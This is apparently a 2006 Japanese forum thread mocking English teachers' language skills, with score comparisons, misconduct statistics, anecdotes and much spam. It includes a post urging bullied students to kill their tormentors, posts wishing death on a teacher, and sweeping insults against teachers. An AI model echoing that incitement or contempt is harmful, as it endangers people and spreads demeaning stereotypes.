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なぜ、英語教師は日本語しかできないのか?

1 :実習生さん:2006/10/02(月) 10:28:41 ID:aVFFDGAV
なんでできないの?

比べてみよう! 生徒と英語教師w

英語教師は、               生徒は、
     給料をもらって、           学費を払って、

     英語だけ1教科を、          数学、社会など5教科以上を、

     30年間担当して、           3年間勉強して、

     高校卒業程度の英語レベル    高校卒業程度の英語レベル

>英検準1級以上の英語の先生、中学1割・高校でも2割
>ttp://ha4.seikyou.ne.jp/home/kinkyo/20040300.htm#3/30_6
(注)英検準1級は短大卒レベル、2級は高校卒業レベル

2 :実習生さん:2006/10/03(火) 10:38:50 ID:Ad0WQ3nJ

教師は、このスレ嫌いだろうなぁw

3 :実習生さん:2006/10/03(火) 23:00:06 ID:qOHA6NjX
>>1
友達がいる私が教えてあげる。
英語しか出来なかったら生徒に教えられないから。

4 :実習生さん:2006/10/03(火) 23:13:19 ID:s3JXBbkm
>>1 またおまえか。クソスレ立てるの好きだなw

5 :実習生さん:2006/10/04(水) 14:06:15 ID:Qqjm5kgp
恥ずかしいよな、英語教員って。 ップw



6 :実習生さん:2006/10/04(水) 20:16:39 ID:lkYQfpoR
批判は誰でもできる。
》5
ならば、お主が英語教員やってみそ。

7 :実習生さん:2006/10/04(水) 20:18:18 ID:3qy1NmJq
英語を教えられるから、英語教員だろ?

8 :佃煮王 ◆hBCBOVKVEc :2006/10/04(水) 20:39:14 ID:3TOkMcQ0
佃煮の灯は消えない!佃煮は永遠なり!今ここに!佃煮広告の建国を宣言する!佃煮!
佃煮!佃煮!我ら佃煮佃煮連合佃煮!佃煮!佃煮!佃煮いいいいいいいいいい!佃煮!
佃煮!佃煮!感動した!佃煮!!佃煮フォーーーーーーーーーーー!!!佃煮!はっ!
佃煮!佃煮!我ら佃煮佃煮連合佃煮!佃煮!佃煮!佃煮いいいいいいいいいい!佃煮!
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佃煮!佃煮!佃・佃・煮・煮!社民も創価も佃煮!佃煮の!増加に!我が政治生命を!
佃煮!佃煮!我ら佃煮佃煮連合佃煮!佃煮!佃煮!佃煮いいいいいいいいいい!佃煮!
佃!煮!ウヨウヨサヨサヨ全部が佃煮!佃煮食ったら皆で佃煮!!佃煮!つっくだに!
佃煮!佃煮!我ら佃煮佃煮連合佃煮!佃煮!佃煮!佃煮流星拳!!!!!!!!佃煮!
佃煮!佃煮!我ら佃煮佃煮連合佃煮!佃煮!佃煮!佃煮ニダ!!佃煮王に!俺はなる!

9 :実習生さん:2006/10/04(水) 21:48:33 ID:DJ1t+HMK
英語の教師って英語できないの?
ウソだろ?英語できないなら何の教師なんだよ?
ただのバカじゃんw

10 :実習生さん:2006/10/04(水) 22:15:58 ID:SW16ZXKK
英語できるやつは教師にならんのじゃ。いても少数派で肩身
狭いんじゃなかろうか。

11 :実習生さん:2006/10/04(水) 22:28:41 ID:QeilgKy/
>>1は数学教師が数学できるかどうか判断できないけどな

12 :実習生さん:2006/10/05(木) 00:48:42 ID:FaTqj6y3
クビになるわけじゃないし、勉強するわけないよな。
ばかはクビにするようにしないと駄目だろ。

13 :実習生さん:2006/10/05(木) 00:54:34 ID:AhZt01ow
>3年間勉強して

これはおかしい中学時代からの下積みを含めて6年間。

14 :実習生さん:2006/10/05(木) 06:59:42 ID:84s/AVyo
スレあり

【アジアで】英語教師・講師スレ【日本は低レベル】
http://school5.2ch.net/test/read.cgi/edu/1140139041/

-----------------終了-----------------

15 :実習生さん:2006/10/05(木) 09:06:40 ID:suL7r7z0
>>13
恥ずかしいやつだなぁw




16 :実習生さん:2006/10/05(木) 10:24:00 ID:ZzX732Iy
また、スレたてたのか?
日本語できるだけまだマシだろ?
しかし、お前は相当英語の先生に怨みがあるんだな。
なんか、可哀相になってきたよ。何があったんだ?

17 :実習生さん:2006/10/05(木) 10:25:24 ID:faHO9kPe
スレあり

【アジアで】英語教師・講師スレ【日本は低レベル】
http://school5.2ch.net/test/read.cgi/edu/1140139041/

-----------------終了-----------------

18 :実習生さん:2006/10/05(木) 23:17:56 ID:AhZt01ow
>>15
友達がいないから>>13の核心を突いてるレスがおかしくみえるのか。

19 :実習生さん:2006/10/06(金) 13:10:00 ID:O594HGO7

30年やっても英語できない? 馬鹿ばかりだな、英語教員ってのはw




20 :実習生さん:2006/10/06(金) 14:09:15 ID:Rb8P84Kh
>>19
また馬鹿がきたw
 お前の日本語よりはマシだろ?
 

21 :実習生さん:2006/10/06(金) 14:25:53 ID:G9d/stZv
教師もたまには勉強しろよ。猥褻行為には熱心なくせになぁ。

22 :実習生さん:2006/10/06(金) 18:31:35 ID:pHE0uLjv
スレあり

【アジアで】英語教師・講師スレ【日本は低レベル】
http://school5.2ch.net/test/read.cgi/edu/1140139041/

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23 :実習生さん:2006/10/06(金) 19:12:19 ID:O594HGO7
>>21
そうだよなぁ。英語できる英語教員より猥褻行為に熱心な教師の方が多いなんて異常だよな。



24 :実習生さん:2006/10/06(金) 20:02:02 ID:Hgt+6Pz6
京大英語の過去問でわからないことがあったから学校のセンセに聞いたら「もう少し自分で考えてみよう」って言われた。

同じ京大志望の友達に聞いたら解決したけど、それ以来先生として見れなくなった。

25 :実習生さん:2006/10/06(金) 22:10:00 ID:pHE0uLjv
スレあり

【アジアで】英語教師・講師スレ【日本は低レベル】
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26 :実習生さん:2006/10/08(日) 23:28:54 ID:wZkcr6T6
 英語教師も勤める学校によるね。京大の問題の質問が出るような進学校には、
やはり、英検では、準1以上、TOEICでは、700はほしいかな。
 でも、進学なんてどこ吹く風という荒れた学校には、そんな力は、はっきりいって
いらん。そんなのできなくても、もっとやんちゃなリーダーシップで生徒を束ねる
統率力が必要だ。英語の力より、むしろ、まったく英語のできない人に
いかにわかるように教える力が試される。京大の英語はできなくても、不良諸君には、
魅力的な教師かもしれんぞ。

27 :実習生さん:2006/10/09(月) 11:13:57 ID:729DqPHI

教師は、このスレ嫌いだろうなぁw


28 :実習生さん:2006/10/09(月) 11:20:32 ID:ehYbqKRU
俺、大学受験の時は英語偏差値必ず70オーバーだった。
こと受験英語に関しては、はっきりいって英語教師よりできたとおもう。明らかに間違えてるの解ったし。
なんで何十年もやってんのに俺より出来ないのか謎だった。

29 :日中友好・天安門広場に「日の丸」「君が代」:2006/10/09(月) 11:29:51 ID:SwtXJ/Av
日中友好。

30 :実習生さん:2006/10/09(月) 12:55:02 ID:KXSWlxbc
>>1
 ちゃんと年金払えよな

31 :実習生さん:2006/10/09(月) 13:44:27 ID:l67a8GRP
英検1級を持ってる英語教員よろ、わいせつ行為を犯した教員の方が多いなんてw

32 :実習生さん:2006/10/09(月) 14:54:28 ID:KQ+OHHY6
スレあり

【アジアで】英語教師・講師スレ【日本は低レベル】
http://school5.2ch.net/test/read.cgi/edu/1140139041/

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33 :実習生さん:2006/10/09(月) 15:58:28 ID:3hYpTLQd
スレあり

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34 :実習生さん:2006/10/09(月) 17:42:53 ID:0zL3p0Nn
>>27
>教師は、このスレ嫌いだろうなぁw

って言われるのも嫌だろうなw

35 :実習生さん:2006/10/09(月) 17:48:06 ID:3hYpTLQd
スレあり

【アジアで】英語教師・講師スレ【日本は低レベル】
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36 :実習生さん:2006/10/09(月) 20:03:05 ID:EqgpQ6cT
>>31
英検1級を持ってる英語教員より、わいせつ行為を犯した教員の方が多い?
マジ?




なーんて思っても不思議ではない、近年の状況ですな。

37 :実習生さん:2006/10/09(月) 22:30:21 ID:KQ+OHHY6
スレあり

【アジアで】英語教師・講師スレ【日本は低レベル】
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38 :実習生さん:2006/10/10(火) 01:07:19 ID:shNv09m6
英語できないって、何を基準に決めているのかな。まさか、顔じゃない
だろうな。

39 :実習生さん:2006/10/10(火) 01:12:34 ID:s37cSJQc
各県の英語科とかにはいい先生が回っているんでしょう。都立国際とか。力なくてああいうところに回されたら、そりゃ地獄だよ。

40 :実習生さん:2006/10/10(火) 07:00:01 ID:g+bZOOL/

教師は、このスレ嫌いだろうなぁw



41 :実習生さん:2006/10/10(火) 07:06:09 ID:PXS4sJrc
スレあり

【アジアで】英語教師・講師スレ【日本は低レベル】
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42 :実習生さん:2006/10/10(火) 11:06:31 ID:m7soW/fw
>>36
実際、そうだと思うよ。
わいせつ行為を犯した教師なら、1校に一人や二人必ずいるだろうが、
英検1級持ってる教師なんて市町村に一人ぐらいの割合だろう。



43 :実習生さん:2006/10/10(火) 18:47:48 ID:LcHbbnrC
スレあり

【アジアで】英語教師・講師スレ【日本は低レベル】
http://school5.2ch.net/test/read.cgi/edu/1140139041/

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44 :実習生さん:2006/10/12(木) 07:41:38 ID:RYSV3xm1
日本語しかできない英語教員なんていません。
英会話の苦手な英語教員はいますが。

45 :実習生さん:2006/10/12(木) 10:55:31 ID:PAOoiUSG
スレあり

【アジアで】英語教師・講師スレ【日本は低レベル】
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46 :実習生さん:2006/10/12(木) 11:19:25 ID:IbbH8U0i
英検1級持ってる教員より、わいせつ教員の方が多いだろうな、そりゃ。
これが異常なことだという常識さえないのが学校だけどな。



47 :実習生さん:2006/10/12(木) 11:25:40 ID:eu+k4wZ7
わいせつ教員は200人以下ですが
(文科省HP)

48 :実習生さん:2006/10/12(木) 11:54:09 ID:IbbH8U0i
>>47
それ、一年間の正式に処分を受けたわいせつ教員の数だろ?
一年間に英検1級に受かった教員なんて、もっと少ないぞ。
100人もいないぞ、きっとw





49 :実習生さん:2006/10/12(木) 12:04:39 ID:eu+k4wZ7
処分でなく事件の数だ

50 :実習生さん:2006/10/12(木) 12:08:47 ID:eu+k4wZ7
平成16年度
事件・事故数 3,701人 内わいせつ168人
懲戒処分 1,226人

平成15年度
事件・事故数 4,341人 内わいせつ196人
懲戒処分 1,359人
ttp://www.mext.go.jp/b_menu/houdou/17/12/05121602.htm

《参考》 公立学校種別教員数構成比率

本務教員数 構成比率
小学校 383,466人 45.5%
中学校 222,334人 26.4%
高等学校 181,965人 21.6%
中等教育学校 452人 0.1%
特殊教育諸学校 53,740人 6.4%
計 841,957人 100.0%

(平成16年度学校教員統計調査中間報告より)
ttp://www.mext.go.jp/b_menu/houdou/17/08/05081202/002/z001_1.htm


51 :実習生さん:2006/10/12(木) 12:30:15 ID:IbbH8U0i
なるほど英検1級に受かる教員はそれより少ないわけかw

ヒデー集団だな、教員ってw



52 :実習生さん:2006/10/12(木) 12:40:14 ID:UXxW8nSR
×日本語しかできない
○日本語すらできない

53 :実習生さん:2006/10/12(木) 19:35:10 ID:+Ep/dMzH
>>52 正しいね。それはそれとして、中学生を教えるのに、英検1級が必要
だろうか。問題集を見たけど、内容的に中学生には高度すぎると思うよ。

54 :実習生さん:2006/10/12(木) 20:03:13 ID:O6NIfMYn
スレあり

なぜ、英語教師は日本語しかできないのか?
http://school5.2ch.net/test/read.cgi/edu/1159752521/

-----------------続行-----------------


55 :実習生さん:2006/10/13(金) 11:45:45 ID:mFwczYXH
>>53
そうそう。だから英語教員なんて大学生ぐらいの奴がやればいいんだよ。
中学の英語教えてる奴に年収800万とか払う必要なし。

56 :実習生さん:2006/10/13(金) 14:07:56 ID:HcRoENXH
最後にw
つけるやつってw
なんかw
馬鹿っぽいw
ねw

57 :実習生さん:2006/10/13(金) 19:47:47 ID:+zrbHOVC
>>55 年収800万円って、どこから出ている情報?

58 :実習生さん:2006/10/13(金) 20:32:53 ID:kiR7/P0H
脳内です

59 :実習生さん:2006/10/13(金) 21:57:25 ID:XXqcfq9w
スレあり

なぜ、英語教師は日本語しかできないのか?
http://school5.2ch.net/test/read.cgi/edu/1159752521/

-----------------続行-----------------

60 :実習生さん:2006/10/15(日) 19:11:01 ID:7yNC1uta
>>58 おもしろい表現だね。どこかで使わせてもらおう。

61 :実習生さん:2006/10/15(日) 19:28:51 ID:Lq9dB+M4
英語教師の資格って簡単にとれる。
うちの親戚かなりアホだけど少し英会話塾にいって簡単に資格とってた。

62 :実習生さん:2006/10/15(日) 19:50:11 ID:Lq9dB+M4
>>1
比べる基準がそもそもおかしい。
教師は教える側。生徒は学ぶ側。

というかこのスレの目的自体がどうでもいい。
糞スレ。

63 :実習生さん:2006/10/15(日) 20:12:38 ID:NPsht3OB
>>62
どうでもいいスレに「どうでもいい」と書き込むお前のそのレスもどうでもいいわなw

64 :実習生さん:2006/10/15(日) 23:47:44 ID:izqHgBRT
スレあり

なぜ、英語教師は日本語しかできないのか?
http://school5.2ch.net/test/read.cgi/edu/1159752521/

-----------------続行-----------------


65 :実習生さん:2006/10/16(月) 01:44:39 ID:Zpf2ySJX
本当に勉強ができる連中は教育者など
にはならない。教師の能力なんて
せいぜい平均的な生徒を指導できるくらいで十分。
エリートになるような生徒からしたら
教師など存在していなくてもいいし、
レベルの低さにあきれられるのが現実。
勉強を教えるのが仕事であるはずの教師の学生時代の
成績など真ん中くらい。大したことない。
一般的に先生と呼ばれる職業のなかでも
もっとも低学歴。実に悲しい。

66 :実習生さん:2006/10/16(月) 06:58:12 ID:fGZXiFcd
スレあり

【アジアで】英語教師・講師スレ【日本は低レベル】
http://school5.2ch.net/test/read.cgi/edu/1140139041/

-----------------終了-----------------

67 :実習生さん:2006/10/16(月) 07:07:03 ID:ZvXgH8YH
スレあり

なぜ、英語教師は日本語しかできないのか?
http://school5.2ch.net/test/read.cgi/edu/1159752521/

-----------------続行-----------------

68 :実習生さん:2006/10/16(月) 11:42:14 ID:aYhZ1Cip
英語教師は、教習所に行って運転できない教官がいても“金返せ!”って言わないの?w



69 :実習生さん:2006/10/16(月) 12:55:00 ID:XOVsY9FK
>>65
バカだな。
 勉強できるのと教えることは
 全く別の次元だ。
 そんなことも分からないヤツが
 口を挟むんじゃねえ!

70 :実習生さん:2006/10/16(月) 15:38:32 ID:mh9q/Y5I
勉強教える能力だけなら予備校講師の
方がはるかに上手。
学校は勉強を学ぶだけでなく人間性を
磨く場なんだとかいう教師がいるが、
その指導する立場の教師に人間性など皆無。
最近の教師の異常な不祥事は目に余る。
ここまでくると教師の存在意義がわからなくなる。

71 :実習生さん:2006/10/16(月) 19:24:20 ID:zB9fIpNh
>>70 うちの学校にも、本当にひどい教師がいるから(教務主任)、
全面否定はしないけど、でも、言い過ぎじゃないかな。まともな教
師の方が多いと思うし。


72 :実習生さん:2006/10/16(月) 20:32:53 ID:lDgCel8W
>>70
馬鹿高校に行くからだろw
予備校に行く金があるなら寄付金収集能力の高い私立進学校に行きな

73 :実習生さん:2006/10/16(月) 23:01:57 ID:UDjBhGYh
スレあり

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74 :実習生さん:2006/10/16(月) 23:52:42 ID:e5da281+
英語の発音が変な英語教師は多い。

75 :実習生さん:2006/10/17(火) 12:12:08 ID:bS0RzUsS
教員っていうのはどれも馬鹿ばかりだが、英語教員の場合はそれが丸わかりになるのがつらいところだなw

76 :実習生さん:2006/10/17(火) 14:09:38 ID:inBmPEIs
大学の英文科で教職課程の授業にも出たことあるが
そのときの担当教授がこんな事言ってた
「英語ができない人間が英語教師になると揶揄される事が多い。
 諸君はそうならないよう努力して欲しい」
実に的確な意見だと思う。
事実TOEICで800や900取る人間は商社にでも行った方がいいだろう。
そういう自分は全く英語と関係ない営業職だけど・・orz

77 :実習生さん:2006/10/17(火) 19:15:46 ID:lswmq0WZ
うちの学校なんて、馬鹿な教頭と馬鹿な教務主任が「先生は頭のいい人間には
向かない」と、毎日、雑談しているが、、、、

78 :実習生さん:2006/10/17(火) 20:28:20 ID:o5EdNmtP
スレあり

【アジアで】英語教師・講師スレ【日本は低レベル】
http://school5.2ch.net/test/read.cgi/edu/1140139041/

-----------------終了-----------------


79 :実習生さん:2006/10/18(水) 10:40:17 ID:5IWiPm7v
英語教員って何度言っても勉強しないんだよな。
毎日幼稚な屁理屈考えたり恥さらしたりするより、勉強したほうがいいのに。



80 :実習生さん:2006/10/19(木) 00:16:10 ID:SIEBkJZC
アメリカ人で、日本語を教えられる人がどれほどいるだろうか。
英語教師は、日本人でありながら、英語を教えられるのだからすごいもんだ。

81 :実習生さん:2006/10/19(木) 10:36:13 ID:ox63VUkU
英語教師はすごいと思う。
英語教師なのに英語ができない、などという屈辱的な境遇に一生耐えて生きているのだから、
並大抵の精神力ではない。

きっと何かの修行なのだろうw


82 :実習生さん:2006/10/19(木) 10:39:28 ID:4v6sy1nQ
>>80
それって面白い見解ですね。
 アメリカ人って語学のセンスはまったくないよな。
 俺は予備校講師だが中学生教えるのにTOEICとか必要ねえな。
 要はいかにそいつらの偏差値を上げるかだ。
 

83 :実習生さん:2006/10/19(木) 11:45:16 ID:KZv4ndN6
もう20年も前の話。
中学1年の新学期、担任が英語の先生だった。
担任が英語の先生だよと両親に伝えた。
イギリス育ちの俺のおかんは凄く喜んだ。
何故ならおかんは殆ど日本語を話せないから。

悲劇は家庭訪問のときに起きた。
うちのおかんは先生がてっきり英語が話せるものだと思ったらしい。
というか、俺もそう思ってた。
俺のうちに来た先生に英語で話し始めたおかん。
黙ったままの担任。
もう一度話しかけるおかん。
先生「アイ・キャント・スピーク・イングリッシュ・・・ソーリー・・・」

あの淋しそうな先生の顔は未だに忘れません。
何故ならそれが先生を見た最後の姿だったからで・・・・
先生は次の日から学校に来ませんでした。

84 :実習生さん:2006/10/19(木) 11:52:18 ID:djF4VUam
正体がばれた以上
もうここには居られませんっ、てか?

85 :実習生さん:2006/10/19(木) 19:10:14 ID:Eh6Yj7+G
うちの学校なんて、馬鹿な教頭と馬鹿な教務主任が「英語のできる先生は
教師に向かない」と、毎日、雑談しているが、、、、


86 :実習生さん:2006/10/20(金) 10:17:47 ID:R2LDn4cn
>>85
英語できない英語教員ばかりだから、一人でも英語できたりすると嫉妬されるんだよな。
採用のときもそう。英語できたりすると難癖つけられて採用されないからね。



87 :実習生さん:2006/10/20(金) 20:04:33 ID:3maG1Z15
話が大げさすぎる気がするが、なるほどね。

88 :実習生さん:2006/10/20(金) 20:08:53 ID:Nb//5WEX
英検四級ほどのリスニングができれば中学英語は勤まるからな。
関係代名詞とか仮定法のような難しい英文法の方が英語教師には大事らしい。

89 :実習生さん:2006/10/21(土) 14:36:17 ID:WsbWPHsb
まあ、しゃべれない(発音が悪い)=英語できない
ってイメージなんだろな。日本人には・・・。
アメリカには日本では考えられないけど、
新聞読めないヤツがいっぱいいるからな。
何を重要視するかだな。英字新聞読めるけど、話せない。が
いいのか、ペラペラだけど、アルファベットも書けない。が
いいのか。まあ、もちろん先生にはリスニングもリーディングも
両刀使いであることに越したことはないがな。
 

90 :実習生さん:2006/10/21(土) 14:49:33 ID:ViN514JK
フィネガンズ・ウェイクを原文読みできるのに、
からきし会話ができないやつとか、
英文の研究者でもいるからね

91 :実習生さん:2006/10/22(日) 19:42:49 ID:X0L++Ojc
そもそも、英語教育の必要性からして問題かな。

92 :実習生さん:2006/10/22(日) 19:53:35 ID:ZJTjCz41
>>89
まま、、、、1は病気なんだしそっとしておいてやれや
素で言ってもしゃーなあるめー

93 :実習生さん:2006/10/22(日) 19:53:59 ID:yGc5pbgG
【社会】「駅前にない校舎が多数」駅前留学のNOVA、公取委から勧告
http://news18.2ch.net/test/read.cgi/news7/1155138639/l50

94 :実習生さん:2006/10/22(日) 21:41:00 ID:DHBJ1nMv
スレあり

【アジアで】英語教師・講師スレ【日本は低レベル】
http://school5.2ch.net/test/read.cgi/edu/1140139041/

-----------------終了-----------------

95 :実習生さん:2006/10/23(月) 11:09:12 ID:vodAs9pX
英語のできない英語教師って、泳げないペンギンみたいなもの?

それとも、それ以下?w

96 :実習生さん:2006/10/23(月) 17:45:43 ID:1FRGcFUT
本当の話かなあ。

97 :実習生さん:2006/10/24(火) 19:48:01 ID:b/m/4+LS
泳げないペンギンか、、、

98 :実習生さん:2006/10/25(水) 10:32:53 ID:rRG++4U6
ピョコピョコ歩くだけってことかw


99 :実習生さん:2006/10/25(水) 19:36:20 ID:uChzfz/s
ペンギンはかわいいんだけど。

100 :実習生さん:2006/10/31(火) 11:32:07 ID:JjAmpBE5
イジメ、履修偽装問題、猥褻事件…、教師は問題起こしてばかりだけど、
英語できない英語教師のことも忘れないでね。こいつら、生きてるだけで問題だからw


比べてみよう! 生徒と英語教師w

英語教師は、               生徒は、
     給料をもらって、           学費を払って、

     英語だけ1教科を、          数学、社会など5教科以上を、

     30年間担当して、           3年間勉強して、

     高校卒業程度の英語レベル    高校卒業程度の英語レベル

>英検準1級以上の英語の先生、中学1割・高校でも2割
>ttp://ha4.seikyou.ne.jp/home/kinkyo/20040300.htm#3/30_6
(注)英検準1級は短大卒レベル、2級は高校卒業レベル


101 :実習生さん:2006/11/02(木) 19:23:35 ID:Y3KYd2yj
英語なんて学校で教えるのが間違いかな。

102 :実習生さん:2006/11/03(金) 00:01:49 ID:+vGUJTYA
スレあり

【アジアで】英語教師・講師スレ【日本は低レベル】
http://school5.2ch.net/test/read.cgi/edu/1140139041/

-----------------終了-----------------

103 :実習生さん:2006/11/03(金) 13:38:30 ID:/9mCAr27
-----------------再開-----------------

104 :実習生さん:2006/11/03(金) 14:39:38 ID:D0K/3dkl
死ねば良いのに
お前の夏の授業なんか何の役にも立たなかったどころか、よくもやってくれたな
こっちが大人しく我慢してれば
まああの程度の小銭くれてやるさお前のことを心底死ぬことを願ってる

105 :M:2006/11/03(金) 14:41:17 ID:D0K/3dkl
お前は最低の教師だ

106 :実習生さん:2006/11/03(金) 14:44:05 ID:hZK42dMz
夏の授業?
わざわざ講習を取ったのか?
ちゃんと評判を確かめてから履修するようにな。

107 :M:2006/11/03(金) 14:53:41 ID:Z/tqeN0/
高校で初めから教師が選べなかったんだ強制的に受けさせられた
あんな奴ぶっ潰してやればよかったぜ

108 :実習生さん:2006/11/03(金) 14:57:24 ID:gRxKHKhA
粋がってないで今からつぶせばぁ〜ハナクソホジホジ

109 :実習生さん:2006/11/03(金) 16:14:28 ID:XQN5ssKM
英語だけ1教科担当、、、、、、、そんな学校あれば転勤するわ
塾か予備校か?

110 :実習生さん:2006/11/03(金) 17:03:42 ID:dkVMRSfI
>>109
うち来てちょんまげ
ちなみに、英検一級どころか、準一級ももってる英語教師いません
しかもそいつら全員英語だけ一教科担当。

111 :実習生さん:2006/11/03(金) 22:48:46 ID:W3OpfbH5
スレあり

【アジアで】英語教師・講師スレ【日本は低レベル】
http://school5.2ch.net/test/read.cgi/edu/1140139041/

-----------------終了-----------------

112 :実習生さん:2006/11/03(金) 22:52:35 ID:n2w4DPOS
英検ってダサい 海外では通用しないから

113 :実習生さん:2006/11/03(金) 23:15:34 ID:hZK42dMz
英検1級取ってる人は大体TOEFLとかTOEICやIELTSや
その他の海外で通用する検定でもいい点(スコア)を出すよ。

相関表があるじゃん。

114 :実習生さん:2006/11/03(金) 23:22:05 ID:W3OpfbH5
スレあり

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115 :実習生さん:2006/11/03(金) 23:22:31 ID:gwzi+QPj
ウチの中学教師は通信大学だったが余裕で英検1級取ってたぞ。

116 :実習生さん:2006/11/03(金) 23:25:06 ID:qhy3gIPZ
たいてい四大卒、通信で教員免許取得・中退だよ

117 :実習生さん:2006/11/03(金) 23:25:39 ID:W3OpfbH5
スレあり

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-----------------終了-----------------

118 :実習生さん:2006/11/03(金) 23:25:53 ID:hZK42dMz
まあ、そうかもしんない。>>115

でもね、前に生徒に「先生、英検1級持ってますか?」と聞かれて
「おれは教員採用試験に受かった。採用試験の英語は英検1級並に
難しい。つまり、おれは英検1級なみの力がある。」
と答えていた教師がいるという話を聞いたことがあるが。

119 :実習生さん:2006/11/03(金) 23:26:41 ID:W3OpfbH5
スレあり

【アジアで】英語教師・講師スレ【日本は低レベル】
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120 :実習生さん:2006/11/03(金) 23:27:30 ID:W3OpfbH5
スレあり

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121 :実習生さん:2006/11/03(金) 23:28:39 ID:W3OpfbH5
スレあり

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122 :実習生さん:2006/11/03(金) 23:51:51 ID:XQN5ssKM
>>1
そら、おまえ
日本人だからだろ
ばかじゃないか?
わかりきったことを聞くな

123 :実習生さん:2006/11/04(土) 00:06:51 ID:LiZWugMn
スレあり

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124 :実習生さん:2006/11/04(土) 00:33:51 ID:U5+0bNhh
大半のALTだって英語しかできない。
うちのALTなんて英語もなまってるし、日本語もなまっている。

125 :実習生さん:2006/11/04(土) 00:58:14 ID:NC/i18vE
rude scraggy nasty

126 :実習生さん:2006/11/04(土) 01:01:22 ID:U5+0bNhh
They might be rude and nasty but not necessarily scraggy.
Some of them are actually obese.

127 :実習生さん:2006/11/04(土) 01:37:24 ID:o+1YtiOp
面白いスレです。
ウチ(高校・進学校)の英語科はほとんどTOEIC900点越え、全員800は超えると思いますよ。
でも世の中一部600点いかないとか、英検2級も取れない教員もいるらしく、
コレは問題だと夏期休業中、県下全教員対象に研修が行われて、
参加させられたウチの教員はそのレベルの低さに閉口しています。
まあひどいところはひどいのかもしれないですね。。

128 :実習生さん:2006/11/04(土) 02:49:58 ID:MIXWfmuW
>>127
県名くらいあかせば?
ちなみに、日教組が強いとか言われる三重県の尾鷲高校ですら
英語がとっても上手な女先生、いますが?
なにか?

129 :実習生さん:2006/11/04(土) 06:59:39 ID:pk4ZQ/ph
>>128
うち来てちょんまげ。
英検一級どころか、準一級ももってる英語教師はひとりもいません。

130 :実習生さん:2006/11/04(土) 08:03:27 ID:U5+0bNhh
>>129
あなたは何故「うち」に来て欲しいのですか?
そういう英語教師が欲しいのですか?管理職として?同僚として?生徒として?

同僚としては「いてもいなくてもよい、というのが実感なんじゃないかと思います。
管理職としては仕事をきちんとしてくれるのなら、やはりどちらでもいい
というスタンスだろうと思います。

131 :実習生さん:2006/11/04(土) 08:49:11 ID:pk4ZQ/ph
>>130
あなたはサービスを受ける側、つまり、納税者側の視点はどこいっちゃったの?無いの?

132 :実習生さん:2006/11/04(土) 10:50:39 ID:rMn5ZGMF
いじめ自殺する位なら、傷つけてきた相手を殺せ

133 :実習生さん:2006/11/04(土) 10:59:28 ID:Gm3kb1ul
スレあり

【アジアで】英語教師・講師スレ【日本は低レベル】
http://school5.2ch.net/test/read.cgi/edu/1140139041/

-----------------終了-----------------


134 :実習生さん:2006/11/04(土) 11:02:39 ID:Syv/V1Fl

-----------------再開-----------------



135 :実習生さん:2006/11/04(土) 12:38:38 ID:4ZK4uLIc
うちの高校、進学校だけど英語教師、ロクな奴しかいないな。

136 :実習生さん:2006/11/04(土) 13:19:32 ID:MIXWfmuW
進学校だけど、生徒、ロクな奴しかいないな
勉強だけしてれば良いんだよ、それ以外に手を煩わせるなよな

137 :実習生さん:2006/11/04(土) 13:31:55 ID:yy7kpGGW
俺英語教師じゃないけどTOEIC910点持ってるぜ。
でも俺そんなに話せないし、TOEIC900点以上持っているから
と言ってネイティブ並に話せる日本人はむしろ少ないと思う。
所詮マークシート式だし。
TOEICをコンスタントに満点(990点)近く取れる
少数派の間にもスピーキング力に関しては相当な実力の幅が
あるの実情。



138 :実習生さん:2006/11/04(土) 15:15:11 ID:MIXWfmuW
1は
英語コンプレックス丸出しやな
最近の30才までの先生なら、ふつーにペラペラしゃべってるで?
1は何才?

139 :実習生さん:2006/11/04(土) 16:54:10 ID:ky50NuoX
最近の30才までの先生ならって、30才までが普通にペラペラで、それ以上はペラペラじゃないのかよ

140 :実習生さん:2006/11/04(土) 18:27:14 ID:MIXWfmuW
>>139
ふつーにしゃべれてるてのの程度の問題だったかな?
ALTと仕事の打ち合わせも英語でしたはるよ<30代以上

141 :実習生さん:2006/11/04(土) 18:31:49 ID:/JRptMFQ
うちのALTいわく、英語の先生と話てると、南北戦争の南軍の将軍と話てると思ったら、
次の瞬間、シアトルのグランジ連中が話はじめた、みたいな感じだって。
笑をこらえるALTも大変みたいだよ。

142 :実習生さん:2006/11/04(土) 20:38:25 ID:BwE8xe+j
>>141
日本にいてALTの言葉をしゃべろうとするだけエライよな。
 アクセントとかしょうがねえだろ?
 ネイティブの発音期待してるALTもバカだな。

143 :実習生さん:2006/11/04(土) 20:42:59 ID:LmLVmq11
>>1はアメリカ人の日本語にいちいちケチつけるの好きそうだな


144 :実習生さん:2006/11/04(土) 20:55:28 ID:EwH9/YLT
ロクナ奴しかいない   なんつう日本語あるのか。

145 :実習生さん:2006/11/04(土) 20:59:20 ID:Zfk0UlzI
>>1は今年も教員採用試験に落ちたことがそんなに悔しいのか・・・。
可哀想に。

146 :実習生さん:2006/11/04(土) 22:29:20 ID:U5+0bNhh
今はネイティブじゃないALTを雇い始めてるんだよ。
ひとつの文の中に2個も文法的なミスをする。
でもいないよりはいい、というのが雇っている方の考え。
日本人の先生はすくなくとも文法の説明はできる。やはりいていいんじゃない。

147 :実習生さん:2006/11/05(日) 13:11:02 ID:+xs4dPny
>>145
>>1 はいじめられっこなんだ。
   だからニートなんだ。
   たぶん英語の先生にいじめられたみたい。

148 :実習生さん:2006/11/05(日) 13:41:21 ID:ZcgDK/tg
誰でも英語が喋れるようになったら
日本が日本でなくなる。
英語教育は今のままで十分だ。

149 :実習生さん:2006/11/05(日) 20:49:52 ID:VbFCa67M
だから英語教師は英語話せずか

150 :実習生さん:2006/11/05(日) 20:58:39 ID:KKzMa8Zw
英語なんて、専門学校でやればいいやん
なんでもわざわざ、やる気もない奴らに強制してるの?
不効率だよ
英語よりも、日本語や数学などに力を入れるべき

151 :実習生さん:2006/11/05(日) 21:06:05 ID:UpKpRgO1
dud

152 :実習生さん:2006/11/05(日) 21:07:03 ID:UpKpRgO1
revolt

153 :実習生さん:2006/11/05(日) 21:08:05 ID:UpKpRgO1
abomination

154 :実習生さん:2006/11/05(日) 21:08:48 ID:UpKpRgO1
infamy

155 :実習生さん:2006/11/05(日) 21:09:22 ID:UpKpRgO1
disrepute

156 :実習生さん:2006/11/05(日) 21:16:46 ID:HtlgysXF
中学から大学までずっと英語の勉強してきて英語教師になったくせに、
まともに英語を話せない教師って情けなくないか?惨めじゃないか?
いままで英語の何を勉強してきたんだよ。

157 :実習生さん:2006/11/05(日) 21:33:49 ID:Y6l34ivz
確かに

158 :実習生さん:2006/11/05(日) 21:35:10 ID:KKzMa8Zw
>>156
